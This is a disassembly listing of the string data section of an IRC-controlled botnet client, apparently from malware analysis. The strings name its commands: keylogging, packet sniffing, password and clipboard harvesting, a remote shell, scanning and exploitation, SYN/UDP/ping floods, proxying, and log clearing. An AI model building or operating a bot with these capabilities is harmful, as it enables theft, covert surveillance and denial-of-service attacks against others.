aIrc_action db 'irc.action',0 ; DATA XREF: sub_40EC43+22C5o
align 4
aIrc_pm db 'irc.pm',0 ; DATA XREF: sub_40EC43+22AEo
align 10h
aIrc_privmsg db 'irc.privmsg',0 ; DATA XREF: sub_40EC43+2297o
aIrc_aa db 'irc.aa',0 ; DATA XREF: sub_40EC43+2280o
align 4
aIrc_addalias db 'irc.addalias',0 ; DATA XREF: sub_40EC43+2269o
align 4
aIrc_gh db 'irc.gh',0 ; DATA XREF: sub_40EC43+2240o
align 4
aIrc_gethost db 'irc.gethost',0 ; DATA XREF: sub_40EC43+2229o
aCom_cap db 'com.cap',0 ; DATA XREF: sub_40EC43+2212o
aCom_capture db 'com.capture',0 ; DATA XREF: sub_40EC43+21FBo
dword_436C0C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43:loc_410E23o
dd 2BBBB02h
aCommandUnknown db ' Command unknown.',0
align 4
dword_436C38 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43:loc_410E1Co
dd 2BBBB02h
aNoMessageSpeci db ' No message specified.',0
dword_436C68 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43:loc_410DD1o
dd 2BBBB02h
aUserListFailed db ' User list failed.',0
dword_436C94 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+2187o
dd 2BBBB02h
aUserListComple db ' User list completed.',0
align 4
aUser db 'user',0 ; DATA XREF: sub_40EC43+2100o
align 4
dword_436CCC dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43:loc_410D38o
dd 2BBBB02h
aShareListFaile db ' Share list failed.',0
align 4
dword_436CFC dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+20EBo
dd 2BBBB02h
aShareListCompl db ' Share list completed.',0
aShare db 'share',0 ; DATA XREF: sub_40EC43+207Do
align 4
aDelete db 'delete',0 ; DATA XREF: sub_40EC43+2062o
align 4
aPause db 'pause',0 ; DATA XREF: sub_40EC43+202Co
align 4
aStop db 'stop',0 ; DATA XREF: sub_40EC43+2014o
align 4
dword_436D4C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43:loc_410C4Co
dd 2BBBB02h
aServiceListFai db ' Service list failed.',0
align 4
dword_436D7C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+1FFFo
dd 2BBBB02h
aServiceListCom db ' Service list completed.',0
align 10h
dword_436DB0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+1F75o
dd 2BBBB02h
aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0
align 4
aCom_net db 'com.net',0 ; DATA XREF: sub_40EC43+1F51o
unk_436E00 db 2 ; DATA XREF: sub_40EC43+1F20o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Bh, 65h, 79h
db 6Ch ; l
db 6Fh, 67h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToSta_23 db ' Failed to start logging thread, error: <%d>.',0
align 4
unk_436E4C db 2 ; DATA XREF: sub_40EC43+1EC7o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Bh, 65h, 79h
db 6Ch ; l
db 6Fh, 67h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aKeyLoggerActiv db ' Key logger active.',0
unk_436E7C db 2 ; DATA XREF: sub_40EC43+1E46o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Bh, 65h, 79h
db 6Ch ; l
db 6Fh, 67h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAlreadyRunni_1 db ' Already running.',0
align 4
unk_436EAC db 2 ; DATA XREF: sub_40EC43:loc_410A73o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Bh, 65h, 79h
db 6Ch ; l
db 6Fh, 67h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNoKeyLoggerThr db ' No key logger thread found.',0
align 4
unk_436EE8 db 2 ; DATA XREF: sub_40EC43+1E26o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 6Bh, 65h, 79h
db 6Ch ; l
db 6Fh, 67h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0
align 4
aCom_keylog db 'com.keylog',0 ; DATA XREF: sub_40EC43+1DCCo
align 10h
unk_436F40 db 2 ; DATA XREF: sub_40EC43:loc_410A02o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aNoCarnivoreThr db 'No Carnivore thread found.',0
align 4
unk_436F78 db 2 ; DATA XREF: sub_40EC43+1DB5o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0
align 10h
aOff db 'off',0 ; DATA XREF: sub_40EC43+1D92o
; sub_40EC43+1E03o
align 8
unk_436FC8 db 2 ; DATA XREF: sub_40EC43+1D72o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_24 db 'Failed to start sniffer thread, error: <%d>.',0
align 4
unk_437014 db 2 ; DATA XREF: sub_40EC43+1D19o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCarnivorePacke db 'Carnivore packet sniffer active.',0
align 4
unk_437054 db 2 ; DATA XREF: sub_40EC43+1CB5o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAlreadyRunni_2 db 'Already running.',0
align 4
aOn db 'on',0 ; DATA XREF: sub_40EC43+1C95o
; sub_40EC43+1DE1o
align 4
aSniff db 'sniff',0 ; DATA XREF: sub_40EC43+1C80o
align 10h
aCom_rf db 'com.rf',0 ; DATA XREF: sub_40EC43+1C69o
align 4
aCom_readfile db 'com.readfile',0 ; DATA XREF: sub_40EC43+1C52o
align 4
aCom_cm db 'com.cm',0 ; DATA XREF: sub_40EC43+1C3Bo
align 10h
aCom_cmd db 'com.cmd',0 ; DATA XREF: sub_40EC43+1C24o
aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40EC43+1BF6o
; sub_40EC43+1C0Do
align 4
aIrc_v db 'irc.v',0 ; DATA XREF: sub_40EC43+1BDFo
align 4
aIrc_visit db 'irc.visit',0 ; DATA XREF: sub_40EC43+1BC8o
align 4
aCom_fl db 'com.fl',0 ; DATA XREF: sub_40EC43+1BB1o
align 10h
aCom_filelist db 'com.filelist',0 ; DATA XREF: sub_40EC43+1B9Ao
align 10h
aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40EC43+1B83o
align 4
aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40EC43+1B6Co
aCom_del db 'com.del',0 ; DATA XREF: sub_40EC43+1B55o
aCom_delete db 'com.delete',0 ; DATA XREF: sub_40EC43+1B3Eo
align 4
aCom_pkid db 'com.pkid',0 ; DATA XREF: sub_40EC43+1B27o
align 10h
aCom_prockillid db 'com.prockillid',0 ; DATA XREF: sub_40EC43+1B10o
align 10h
aCom_kpn db 'com.kpn',0 ; DATA XREF: sub_40EC43+1AF9o
aCom_killprocna db 'com.killprocname',0 ; DATA XREF: sub_40EC43+1AE2o
align 4
aIrc_dn db 'irc.dn',0 ; DATA XREF: sub_40EC43+1ACBo
align 4
aIrc_dns db 'irc.dns',0 ; DATA XREF: sub_40EC43+1AB4o
aIrc_se db 'irc.se',0 ; DATA XREF: sub_40EC43+1A9Do
align 4
aIrc_setserve db 'irc.setserve',0 ; DATA XREF: sub_40EC43+1A86o
align 4
aCom_o db 'com.o',0 ; DATA XREF: sub_40EC43+1A6Fo
align 4
aCom_open db 'com.open',0 ; DATA XREF: sub_40EC43+1A58o
align 4
aIrc_pr db 'irc.pr',0 ; DATA XREF: sub_40EC43+1A41o
align 10h
aIrc_prefix db 'irc.prefix',0 ; DATA XREF: sub_40EC43+1A2Ao
align 4
aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40EC43+1A13o
align 4
aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40EC43+19FCo
align 4
aClone_q db 'clone.q',0 ; DATA XREF: sub_40EC43+19E5o
aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40EC43+19CEo
align 4
aThreads_k db 'threads.k',0 ; DATA XREF: sub_40EC43+19B7o
align 4
aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40EC43+19A0o
align 4
aIrc_ra db 'irc.ra',0 ; DATA XREF: sub_40EC43+1989o
align 10h
aIrc_raw db 'irc.raw',0 ; DATA XREF: sub_40EC43+1972o
aIrc_pt db 'irc.pt',0 ; DATA XREF: sub_40EC43+195Bo
align 10h
aIrc_part db 'irc.part',0 ; DATA XREF: sub_40EC43+1944o
align 4
aIrc_j db 'irc.j',0 ; DATA XREF: sub_40EC43+192Do
align 4
aIrc_join db 'irc.join',0 ; DATA XREF: sub_40EC43+1916o
align 10h
aIrc_n db 'irc.n',0 ; DATA XREF: sub_40EC43+18FFo
align 4
aIrc_nick db 'irc.nick',0 ; DATA XREF: sub_40EC43+18E8o
align 4
aSa db 'sa',0 ; DATA XREF: sub_40EC43+18C2o
align 4
aScanall db 'scanall',0 ; DATA XREF: sub_40EC43+18ADo
aCom_fp db 'com.fp',0 ; DATA XREF: sub_40EC43+1898o
align 4
aCom_findpass db 'com.findpass',0 ; DATA XREF: sub_40EC43+1883o
align 4
aDaemon_tf_on db 'daemon.tf.on',0 ; DATA XREF: sub_40EC43+186Eo
align 4
aDaemon_tftp_on db 'daemon.tftp.on',0 ; DATA XREF: sub_40EC43+1859o
align 4
aDaemon_web_on db 'daemon.web.on',0 ; DATA XREF: sub_40EC43+1844o
align 4
aDaemon_httpd_o db 'daemon.httpd.on',0 ; DATA XREF: sub_40EC43+182Fo
aDaemon_rl_on db 'daemon.rl.on',0 ; DATA XREF: sub_40EC43+181Ao
align 4
aDaemon_rlogi_0 db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EC43+1805o
align 4
aRoot_cip db 'root.cip',0 ; DATA XREF: sub_40EC43+17F0o
align 4
aRoot_currentip db 'root.currentip',0 ; DATA XREF: sub_40EC43+17DBo
align 4
aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40EC43+17C6o
align 4
aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40EC43+17B1o
align 4
aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40EC43+179Co
align 10h
aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40EC43+1787o
align 10h
aCom_gc db 'com.gc',0 ; DATA XREF: sub_40EC43+1772o
align 4
aCom_getclip db 'com.getclip',0 ; DATA XREF: sub_40EC43+175Do
dword_437324 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+1752o
dd 2BBBB02h
aLoginListCompl db ' Login list complete.',0
align 4
aD_S db '%d. %s',0 ; DATA XREF: sub_40EC43+171Eo
; sub_416B37+46o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_40EC43+1711o
aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40EC43+16EFo
align 4
aIrc_who db 'irc.who',0 ; DATA XREF: sub_40EC43+16D6o
aCmd db '[CMD]',0 ; DATA XREF: sub_40EC43+16CBo
align 4
aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40EC43+16C6o
align 4
aCom_ocmd_off db 'com.ocmd.off',0 ; DATA XREF: sub_40EC43+16ADo
align 4
aCom_ocmd db 'com.ocmd',0 ; DATA XREF: sub_40EC43+1698o
align 10h
aCom_opencmd db 'com.opencmd',0 ; DATA XREF: sub_40EC43+1683o
aCom_dll db 'com.dll',0 ; DATA XREF: sub_40EC43+166Eo
aCom_testdlls db 'com.testdlls',0 ; DATA XREF: sub_40EC43+1659o
align 4
aCom_drv db 'com.drv',0 ; DATA XREF: sub_40EC43+1644o
aCom_driveinfo db 'com.driveinfo',0 ; DATA XREF: sub_40EC43+162Fo
align 4
aCom_up db 'com.up',0 ; DATA XREF: sub_40EC43+161Ao
align 4
aCom_uptime db 'com.uptime',0 ; DATA XREF: sub_40EC43+1605o
align 10h
aCom_key db 'com.key',0 ; DATA XREF: sub_40EC43+15F0o
aCom_harvest db 'com.harvest',0 ; DATA XREF: sub_40EC43+15DBo
aCom_ps db 'com.ps',0 ; DATA XREF: sub_40EC43+15C6o
align 4
aCom_procs db 'com.procs',0 ; DATA XREF: sub_40EC43+15B1o
align 4
aIrc_rm0 db 'irc.rm0',0 ; DATA XREF: sub_40EC43+159Co
aIrc_rem0ve db 'irc.rem0ve',0 ; DATA XREF: sub_40EC43+1587o
align 4
aCom_si db 'com.si',0 ; DATA XREF: sub_40EC43+1572o
align 4
aCom_sysinfo db 'com.sysinfo',0 ; DATA XREF: sub_40EC43+155Do
unk_437450 db 2 ; DATA XREF: sub_40EC43+153Do
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 75h, 70h
db 65h ; e
db 72h, 73h, 79h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_25 db ' Failed to start flood thread, error: <%d>.',0
align 10h
unk_4374A0 db 2 ; DATA XREF: sub_40EC43+14E1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 75h, 70h
db 65h ; e
db 72h, 73h, 79h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSSFo_1 db ' Flooding: (%s:%s) for %s seconds.',0
aDdos_supersyn db 'ddos.supersyn',0 ; DATA XREF: sub_40EC43+144Eo
align 10h
aCom_ni db 'com.ni',0 ; DATA XREF: sub_40EC43+1439o
align 4
aCom_netinfo db 'com.netinfo',0 ; DATA XREF: sub_40EC43+1424o
aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40EC43+140Fo
align 10h
aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40EC43+13FAo
align 10h
aIrc_lg db 'irc.lg',0 ; DATA XREF: sub_40EC43+13E5o
align 4
aIrc_log db 'irc.log',0 ; DATA XREF: sub_40EC43+13D0o
aIrc_al db 'irc.al',0 ; DATA XREF: sub_40EC43+13BBo
align 4
aIrc_aliases db 'irc.aliases',0 ; DATA XREF: sub_40EC43+13A6o
aThreads_l db 'threads.l',0 ; DATA XREF: sub_40EC43+1391o
align 10h
aThreads_list db 'threads.list',0 ; DATA XREF: sub_40EC43+137Co
align 10h
dword_437560 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+1348o
dd 2BBBB02h
aFailedToReboot db ' Failed to reboot system.',0
align 4
dword_437594 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+1341o
dd 2BBBB02h
aRebootingSyste db ' Rebooting system.',0
aCom_rebewt db 'com.rebewt',0 ; DATA XREF: sub_40EC43+132Ao
align 4
aIrc_i db 'irc.i',0 ; DATA XREF: sub_40EC43+1315o
align 4
aIrc_id db 'irc.id',0 ; DATA XREF: sub_40EC43+1300o
align 4
aIrc_s db 'irc.s',0 ; DATA XREF: sub_40EC43+12EBo
align 4
aIrc_status db 'irc.status',0 ; DATA XREF: sub_40EC43+12D6o
align 10h
aIrc_q db 'irc.q',0 ; DATA XREF: sub_40EC43+12C1o
align 4
aIrc_quit db 'irc.quit',0 ; DATA XREF: sub_40EC43+12ACo
align 4
aIrc_d db 'irc.d',0 ; DATA XREF: sub_40EC43+1297o
align 4
aIrc_disconnect db 'irc.disconnect',0 ; DATA XREF: sub_40EC43+1282o
align 4
aIrc_r db 'irc.r',0 ; DATA XREF: sub_40EC43+126Do
align 4
aIrc_reconnect db 'irc.reconnect',0 ; DATA XREF: sub_40EC43+1258o
align 4
aRoot_st db 'root.st',0 ; DATA XREF: sub_40EC43+1243o
aRoot_stats db 'root.stats',0 ; DATA XREF: sub_40EC43+122Eo
align 4
aExploitation db 'Exploitation',0 ; DATA XREF: sub_40EC43+1223o
align 4
aScan db 'Scan',0 ; DATA XREF: sub_40EC43+121Eo
align 10h
aRoot_stop db 'root.stop',0 ; DATA XREF: sub_40EC43+1205o
align 4
dword_43766C dd 65027302h, 1F727563h, 2E2E1F65h, 0 ; DATA XREF: sub_40EC43+11FAo
aSecure_0 db 'Secure',0 ; DATA XREF: sub_40EC43+11F5o
align 4
aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40EC43+11DCo
align 4
dword_437694 dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ; DATA XREF: sub_40EC43+11D1o
aClone db 'Clone',0 ; DATA XREF: sub_40EC43+11CCo
align 4
aClone_off db 'clone.off',0 ; DATA XREF: sub_40EC43+11B3o
align 4
aCom_ps_off db 'com.ps.off',0 ; DATA XREF: sub_40EC43+119Eo
align 4
aCom_procs_off db 'com.procs.off',0 ; DATA XREF: sub_40EC43+1189o
align 4
aUtil_ff_off db 'util.ff.off',0 ; DATA XREF: sub_40EC43+1174o
aUtil_findfile_ db 'util.findfile.off',0 ; DATA XREF: sub_40EC43+115Fo
align 4
dword_4376F4 dd 66027402h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EC43+1154o
aDaemon_tftp_of db 'daemon.tftp.off',0 ; DATA XREF: sub_40EC43+1136o
dword_437710 dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EC43+112Bo
dword_43771C dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EC43+1126o
dword_437728 dd 736F6464h, 6E69702Eh, 666F2E67h, 66h ; DATA XREF: sub_40EC43+110Do
dword_437738 dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EC43+1102o
dword_437744 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EC43+10FDo
dword_437750 dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EC43+10E4o
dword_437760 dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EC43+10D9o
dword_43776C dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EC43+10D4o
dword_437778 dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EC43+10BBo
dword_437788 dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EC43+10B0o
dword_437794 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EC43+10ABo
dword_4377A0 dd 736F6464h, 66666F2Eh, 0 ; DATA XREF: sub_40EC43+1092o
dword_4377AC dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EC43+1087o
dword_4377BC dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_40EC43+1082o
aProxy_redirect db 'proxy.redirect.off',0 ; DATA XREF: sub_40EC43+1069o
align 10h
dword_4377E0 dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EC43+105Eo
dword_4377EC dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_40EC43+1059o
dword_4377F8 dd 2E676F6Ch, 66666Fh ; DATA XREF: sub_40EC43+1040o
dword_437800 dd 74026802h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EC43+1035o
dword_43780C dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40EC43+1017o
dword_43781C dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh ; DATA XREF: sub_40EC43+100Co
aDaemon_rlogin_ db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EC43+FEEo
align 10h
dword_437840 dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ; DATA XREF: sub_40EC43+FE3o
aServer db 'Server',0 ; DATA XREF: sub_40EC43+FDEo
; sub_40EC43+1007o ...
align 4
aProxy_socks4_0 db 'proxy.socks4.off',0 ; DATA XREF: sub_40EC43+FC5o
align 4
aProxy_s4_on db 'proxy.s4.on',0 ; DATA XREF: sub_40EC43+FB0o
aProxy_socks4_o db 'proxy.socks4.on',0 ; DATA XREF: sub_40EC43+F9Bo
aLd_off db 'ld.off',0 ; DATA XREF: sub_40EC43+F86o
align 10h
aLockdown_off db 'lockdown.off',0 ; DATA XREF: sub_40EC43+F71o
align 10h
aLd_on db 'ld.on',0 ; DATA XREF: sub_40EC43+F5Co
align 4
aLockdown_on db 'lockdown.on',0 ; DATA XREF: sub_40EC43+F47o
aVer db 'ver',0 ; DATA XREF: sub_40EC43+F32o
aIrc_version db 'irc.version',0 ; DATA XREF: sub_40EC43+F1Do
aLo db 'lo',0 ; DATA XREF: sub_40EC43+F08o
align 4
aIrc_logout db 'irc.logout',0 ; DATA XREF: sub_40EC43+EF3o
align 4
aIrc_di db 'irc.di',0 ; DATA XREF: sub_40EC43+EDEo
align 4
aIrc_die db 'irc.die',0 ; DATA XREF: sub_40EC43+EC9o
aRn db 'rn',0 ; DATA XREF: sub_40EC43+EB4o
align 4
aIrc_rndnick db 'irc.rndnick',0 ; DATA XREF: sub_40EC43+E9Co
a63 db '63',0 ; DATA XREF: sub_40EC43+D77o
align 4
asc_4378F8: ; DATA XREF: sub_40EC43+D4Fo
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_40EC43+D15o
align 4
aServer_1 db '$server',0 ; DATA XREF: sub_40EC43+D0Ao
aRndnick db '$rndnick',0 ; DATA XREF: sub_40EC43+CF9o
align 4
aChan db '$chan',0 ; DATA XREF: sub_40EC43+CDDo
align 10h
aUser_2 db '$user',0 ; DATA XREF: sub_40EC43+CCCo
align 4
aMe_0 db '$me',0 ; DATA XREF: sub_40EC43+CBAo
aD db '$%d',0 ; DATA XREF: sub_40EC43+C4Co
aD_0 db '$%d-',0 ; DATA XREF: sub_40EC43+B9Fo
align 4
aC_1: ; DATA XREF: sub_40EC43+AADo
unicode 0, <c>,0
align 10h
dword_437940 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+A87o
dd 2BBBB02h
aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0
dword_437980 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+A76o
dd 2BBBB02h
aChatAlreadyAct db ' Chat already active with user: %s.',0
align 10h
dword_4379C0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+A50o
dd 2BBBB02h
aFailedToSta_26 db ' Failed to start chat thread, error: <%d>.',0
dword_437A04 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+9F7o
dd 2BBBB02h
aChatFromUserS_ db ' Chat from user: %s.',0
align 4
aChat db 'CHAT',0 ; DATA XREF: sub_40EC43+960o
align 10h
dword_437A40 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+943o
dd 2BBBB02h
aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_437A90 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_40EC43+913o
dd 0A0Dh
dword_437AA8 dd 4E495001h, 47h ; DATA XREF: sub_40EC43+8DFo
aSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40EC43+8A4o
align 4
dword_437ACC dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_40EC43+88Ao
dd 0D017325h, 0Ah
dword_437AE8 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40EC43+859o
dword_437AF4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+74Do
dd 2BBBB02h
aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0 db 'SEND',0 ; DATA XREF: sub_40EC43+6AAo
align 4
dword_437B38 dd 43434401h, 0 ; DATA XREF: sub_40EC43+68Co
dword_437B40 dd 323333h ; DATA XREF: sub_40EC43+60Fo
; sub_40EC43+AE3o ...
unk_437B44 db 2 ; DATA XREF: sub_40EC43+590o
db 36h, 2, 72h
db 62h ; b
db 1Fh, 20h, 28h
db 69h ; i
db 72h, 63h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aUserSLoggedO_0 db ' User: %s logged out.',0
align 4
dword_437B74 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EC43+570o
dd 2BBBB02h
aJoinedChanne_0 db ' Joined channel: %s.',0
align 4
a353 db '353',0 ; DATA XREF: sub_40EC43+539o
aPart db 'PART',0 ; DATA XREF: sub_40EC43+4EBo
; sub_40EC43+5ADo
align 10h
aSS_1 db ':%s%s',0 ; DATA XREF: sub_40EC43+4C3o
align 4
aNick db 'NICK',0 ; DATA XREF: sub_40EC43+3AFo
align 10h
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+352o
; sub_40EC43+5D1o
unk_437BD0 db 2 ; DATA XREF: sub_40EC43+339o
db 36h, 2, 72h
db 62h ; b
db 1Fh, 20h, 28h
db 69h ; i
db 72h, 63h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aUserSLoggedO_1 db ' User %s logged out.',0
align 10h
aKick db 'KICK',0 ; DATA XREF: sub_40EC43+2D6o
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+27Fo
; sub_40EC43+4E64o ...
align 4
a433 db '433',0 ; DATA XREF: sub_40EC43+257o
a@: ; DATA XREF: sub_40EC43+22Co
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: sub_40EC43+21Co
a005 db '005',0 ; DATA XREF: sub_40EC43+207o
a001 db '001',0 ; DATA XREF: sub_40EC43+1F2o
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+1D6o
; sub_40EC43+39Co ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+1B5o
align 4
aPing db 'PING',0 ; DATA XREF: sub_40EC43+19Bo
align 4
asc_437C4C: ; DATA XREF: sub_40EC43+18Co
; sub_40EC43+60C1o
unicode 0, <!>,0
asc_437C50 db ' :',0 ; DATA XREF: sub_40EC43+86o
; sub_40EC43:loc_40F77Eo
align 4
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_414F16+119o
align 10h
unk_437C60 db 2 ; DATA XREF: sub_4150C3:loc_415150o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
